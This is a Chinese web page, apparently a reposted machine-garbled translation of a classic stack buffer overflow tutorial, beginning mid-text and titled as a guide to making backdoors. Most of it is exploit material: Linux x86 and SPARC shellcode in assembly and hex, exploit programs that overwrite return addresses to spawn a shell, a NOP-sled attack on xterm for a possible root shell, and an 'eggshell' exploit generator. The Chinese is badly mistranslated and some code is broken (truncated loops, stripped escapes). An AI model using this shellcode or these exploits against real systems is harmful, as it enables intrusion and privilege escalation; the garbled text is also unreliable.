最全的后门制作及安装技术
}
void main()
{
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
这段程序中就存在 Buffer Overflow 的问题. 我们
可以看到, 传递给function的字符串长度要比buffer
大很多,而function没有颠末任何长度校验间接用
strcpy将长字符串拷入buffer. 要是你执行这个程序
的话,体系会陈诉一个 Segmentation Violation 错
误.下面我们就来阐发一下为什么会如许?
首先我们看一下未执行strcpy时货仓中的环境:
16 4 4 4
...[buffer] [ebp] [ret地址] [large_string地址]
| |
esp ebp
当执行strcpy时, 程序将256 Bytes拷入buffer中,但
是buffer只能包容16 Bytes,那么这时会产生什么情
况呢? 因为C言语并不举行界限查抄, 所以结果是
buffer背面的250字节的内容也被笼罩掉了,这此中自
然也包罗ebp, ret地址 ,large_string地址.因为此
时ret地址酿成了0x41414141h ,所以当过程结束返回
时,它将返回到0x41414141h地址处继续执行,但由于
这个地址并不在程序现实使用的虚存空间范围内,所
以体系会报Segmentation Violation.
从下面的例子中不丢脸出,我们可以经过Buffer
Overflow来改变在货仓中寄存的过程返回地址,从而
改变整个程序的流程,使它转向任何我们想要它去的
地方.这就为黑客们提供了可乘之机, 最常见的方法
是: 在长字符串中嵌入一段代码,并将过程的返回地
址笼罩为这段代码的地址, 如许当过程返回时,程序
就转而开端执行这段我们自编的代码了. 一般来说,
这段代码都是执行一个Shell程序(如 insh),因为这
样的话,当我们入侵一个带有Buffer Overflow缺陷且
具有suid-root属性的程序时,我们会失掉一个具有
root权限的shell,在这个shell中我们可以干任何事.
因此, 这段代码一般被称为Shell Code.
下面我们就来看一下如何编写Shell Code.
---------------------------------------------
-----------------------------------
3. Shell Code 的编写
下面是一个创建Shell的C程序shellcode.c: (本文以
IntelX86上的Linux为例说明)
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
我们先将它编译为执行代码,然后再用gdb来阐发一下
.(注意编译时要用-static选项,不然execve的代码将
不会放入执行代码,而是作为静态链接在运行时才链
入.)
---------------------------------------------
---------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static
shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to
distribute copies of it
under certain conditions; type "show copying"
to see the conditions.
There is absolutely no warranty for GDB; type
"show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995
Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130
0x8000131
0x8000133
0x8000136
$0x80027b8,0xfffffff8(%ebp)
0x800013d
ebp)
0x8000144
0x8000146
eax
0x8000149
0x800014a
eax
0x800014d
0x800014e
0x8000153
0x8000156
0x8000158
0x8000159
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6
<__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
下面我们来首先来阐发一下main代码中每条语句的作
用:
0x8000130
0x8000131
0x8000133
这跟前面的例子一样,也是一段函数的入口处理,保存
曩昔的栈帧指针,更新栈帧指针,最后为部分变量留出
空间.在这里,部分变量为:
char *name[2];
也便是两个字符指针.每个字符指针占用4个字节,所
以总共留出了 8 个字节的地位.
0x8000136
$0x80027b8,0xfffffff8(%ebp)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存
单位中, 也便是相称于 :
name[0] = "/bin/sh";
0x800013d
ebp)
将NULL放入name[1]的内存单位中, 也便是相称于:
name[1] = NULL;
对execve()的调用从下面开端:
0x8000144
开端将参数以逆序压入货仓, 第一个是NULL.
0x8000146
eax
0x8000149
将name[]的肇始地址压入货仓
0x800014a
eax
0x800014d
将字符串"/bin/sh"的地址压入货仓
0x800014e
调用execve() . call 指令首先将 EIP 压入货仓
如今我们再来看一下execve()的代码. 首先要注意的
是, 不同的操纵体系,不同的CPU,他们产生体系调用
的方法也不尽雷同. 有些使用软停止,有些使用长途
调用.从参数传递的角度来说,有些使用寄存器,有些
使用货仓.
我们的这个例子是在基于Intel X86的Linux上运行的
.所以我们首先应该知道Linux中,体系调用以软中
断的方式产生( INT 80h),参数是经过寄存器传递给
体系的.
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同样的入口处理
0x80002c0 <__execve+4>: movl $0xb,%eax
将0xb(11)赋给eax , 这是execve()在体系中的索引
号.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
将字符串"/bin/sh"的地址赋给ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
将name[]的地址赋给ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
将NULL的地址赋给edx
0x80002ce <__execve+18>: int $0x80
产生体系调用,进入核心态运行.
看了下面的代码,如今我们可以把它精简为下面的汇
编言语程序:
leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
(我对Linux的汇编言语格式相识不多,所以这几句使
用的是DOS汇编言语的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0
但是这段代码中还存在着一个问题 ,便是我们在编写
ShellCode时并不知道这段程序执行时在内存中所处
的地位,所以像:
movl string_addr,%ebx
这种必要将相对地址编码进呆板言语的指令根本就没
法使用.
解决这个问题的一个措施便是使用一条额外的JMP和
CALL指令. 因为这两条指令编码使用的都是 相对付
IP的偏移地址而不是相对地址, 所以我们可以在
ShellCode的最开端参加一条JMP指令, 在string前加
入一条CALL指令. 只需我们盘算好程序编码的字节长
度,就可以使JMP指令跳转到CALL指令处执行,而CALL
指令则指向JMP的下一条指令,因为在执行CALL指令时
,CPU会将返回地址(在这里便是string的地址)压入堆
栈,所以如许我们就可以在运行时失掉string的相对
地址.经过这个地址加偏移的间接寻址方法,我们还可
以很方便地存取string_addr和null_addr.
颠末下面的修正,我们的ShellCode酿成了下面的样子
:
jmp 0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0 # 2 bytes,跳转到CALL
# 1 byte, 弹出string地址
# 4 bytes,将string变为以''末端的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳转到popl %esi
我们知道C言语中的字符串以''末端,strcpy等函数
遇到''就结束运行.因此为了保证我们的ShellCode能
被完备地拷贝到Buffer中,ShellCode中一定不克不及含有
''. 下面我们就对它作最后一次革新,去掉此中的'':
原指令: 替换为:
---------------------------------------------
-----------
movb $0x0,0x7(%esi) xorl %eax,%eax
movl $0x0,0xc(%esi) movb %eax,0x7(%
esi)
movl %eax,0xc(%
esi)
---------------------------------------------
-----------
movl $0xb,%eax movb $0xb,%al
---------------------------------------------
-----------
OK! 如今我们可以实验一下这段ShellCode了. 首先
我们把它封装为C言语的形式.
---------------------------------------------
---------------------------------
void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string "/bin/sh" # 8 bytes
");
}
---------------------------------------------
---------------------------------
颠末编译后,用gdb失掉这段汇编言语的呆板代码为:
xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x
0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxf
f/bin/sh
如今我们可以写我们的实验程序了:
---------------------------------------------
---------------------------------
exploit1.c:
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff
/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;
for(i=0;i
strcpy(buffer,large_string);
}
---------------------------------------------
----------------------------------------
在下面的程序中,我们首先用 buffer 的地址添补
large_string[]并将ShellCode放在large_string[]
的肇始地位,从而保证在BufferOverflow时,返回地址
被笼罩为Buffer的地址(也便是ShellCode的入口地址
).然后用strcpy将large_string的内容拷入buffer,
因为buffer只有96个字节的空间,所以这时就会产生
Buffer Overflow. 返回地址被笼罩为ShellCode的入
口地址. 当程序执行到main函数的末端时,它会主动
跳转到我们的ShellCode,从而创建出一个新的Shell.
如今我们编译运行一下这个程序:
---------------------------------------------
---------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
---------------------------------------------
---------------------------------
OK! 可以看到,当执行test时,我们的ShellCode精确
地执行并生成了一个新的Shell,这正是我们所希望看
到的结果.
但是,这个例子还仅仅是一个实验,下面我们来看一看
在现实环境中如何使我们的ShellCode发扬作用.
---------------------------------------------
-----------------------------------
4. 现实运用中遇到的问题
在下面的例子中,我们成功地打击了一个我们自己
写的有Buffer Overflow缺陷的程序.因为是我们自己
的程序,所以在运行时我们很方便地就可以确定出
ShellCode的入口相对地址(也便是Buffer地址),剩下
的事情也就仅仅是用这个地址来添补large_string了
.
但是当我们试图打击一个其他程序时,问题就呈现
了.我们怎样知道运行时Shell Code所处的相对地址
呢? 不知道这个地址, 我们用什么来添补
large_string,用什么来笼罩返回地址呢? 不知道用
什么来笼罩返回地址,ShellCode如何能失掉控制权呢
? 而要是得不到控制权,我们也就无法成功地打击这
个程序,那么我们下面所做的所有事情都白搭了.由此
可以看出,这个问题是我们要解决的一个关键问题.
幸亏对付所有程序来说货仓的肇始地址是一样的,
并且在拷贝ShellCode之前,货仓中曾经存在的栈帧一
般来说并不多,长度大抵在一两百到几千字节的范围
内.因此,我们可以经过猜测加实验的措施终极找到
ShellCode的入口地址.
下面便是一个打印货仓肇始地址的程序:
sp.c
---------------------------------------------
---------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x ", get_sp());
}
---------------------------------------------
---------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
---------------------------------------------
---------------------------------
下面所说的方法虽然能解决这个问题, 但只需你轻微
想一想就知道这个方法并不实用. 因为这个方法要求
你在货仓段中正确地猜中ShellCode的入口,偏差一个
字节都不可.要是你运气好的话, 可能只需猜几十次
就猜中了,但一般环境是,你必需要猜几百次到几千次
才气猜中.而在你能够猜中前,我想大部分人都曾经放
弃了.所以我们必要一种服从更高的方法来只管即便减少
我们的实验次数.
一个最简略的方法便是将ShellCode放在
large_string的中部,而前面则同等添补为NOP指令
(NOP指令是一个任何事都不做的指令,主要用于延时
操纵,几乎所有CPU都支持NOP指令).如许,只需我们猜
的地址落在这个NOP指令串中,那么程序就会不停执行
直至执行到ShellCode(如下图).如许一来,我们猜中
的概率就大多了(曩昔必需要猜中ShellCode的入口地
址,如今只需猜中NOP指令串中的任何一个地址即可).
低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF
FFFF FFFF FFFF 高端内存
栈顶 89ABCDEF0123456789AB CDEF 0123
4567 89AB CDEF 栈底
buffer ebp ret
a b c
<------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE]
[0xDE][0xDE][0xDE]
^ |
|___________|
如今我们就可以凭据这个方法编写我们的打击程序了
.
exploit2.c
---------------------------------------------
---------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff
/bin/sh";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset= atoi(argv[2]);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory. ");
exit(0);
}
addr=get_sp()-offset;
printf("Using address: 0x%x ", addr);
ptr=buff;
addr_ptr=(long *)ptr;
for(i=0;i
for(i=0;i
ptr = buff + ((bsize/2) - (strlen
(shellcode)/2));
for (i=0;i
buff[bsize-1]='';
memcpy(buff,"EGG=",4); //将生成的字符串保存再
环境变量EGG中.
putenv(buff);
system("/bin/bash");
}
---------------------------------------------
---------------------------------
好,如今我们来实验一下这个程序的效能如何.这次的
打击目标是xterm(所有链接了Xt Library的程序都有
此缺陷). 首先确保X Server在运行并且容许当地连
接.
---------------------------------------------
---------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit2 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: some arguments in previous message
were lost
bash$
---------------------------------------------
---------------------------------
OK! 看来我们的程序的确很好用.要是xterm有suid-
root属性,那么这个shell便是一个具有root权限的
Shell了.
---------------------------------------------
-----------------------------------
Appendix A - 若干操纵体系/平台上的 Shell Code
i386/Linux
---------------------------------------------
---------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string "/bin/sh"
---------------------------------------------
---------------------------------
SPARC/Solaris
---------------------------------------------
---------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
---------------------------------------------
---------------------------------
SPARC/SunOS
---------------------------------------------
---------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
---------------------------------------------
-----------------------------------
Appendix B - 通用 Buffer Overflow 打击程序
shellcode.h
---------------------------------------------
---------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "x90";
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0
x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40
xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__)
&& defined(__svr4__)
#define NOP_SIZE 4
char nop[]="xacx15xa1x6e";
char shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80
x0e"
"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbf
xf0"
"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20
x08"
"x90x1bxc0x0fx82x10x20x01x91xd0x20x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="xacx15xa1x6e";
char shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80
x0e"
"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbf
xf0"
"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bxaax10x3f
xff"
"x91xd5x60x01x90x1bxc0x0fx82x10x20x01x91xd5x60
x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
---------------------------------------------
---------------------------------
eggshell.c
---------------------------------------------
---------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include
#include
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0,
eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) !=
EOF)
switch ? {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg. ");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory. ");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory. ");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size: %d Egg size: %d
Aligment: %d ] ",
bsize, eggsize, align);
printf("[ Address: 0x%x Offset: %d ] ", addr,
offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) -
NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '';
egg[eggsize - 1] = '';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ] ");
}'
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|
上一篇: 美萍可以这样破!(中国绿鹰联盟原创)
下一篇: 最详细的黑客教程--第七部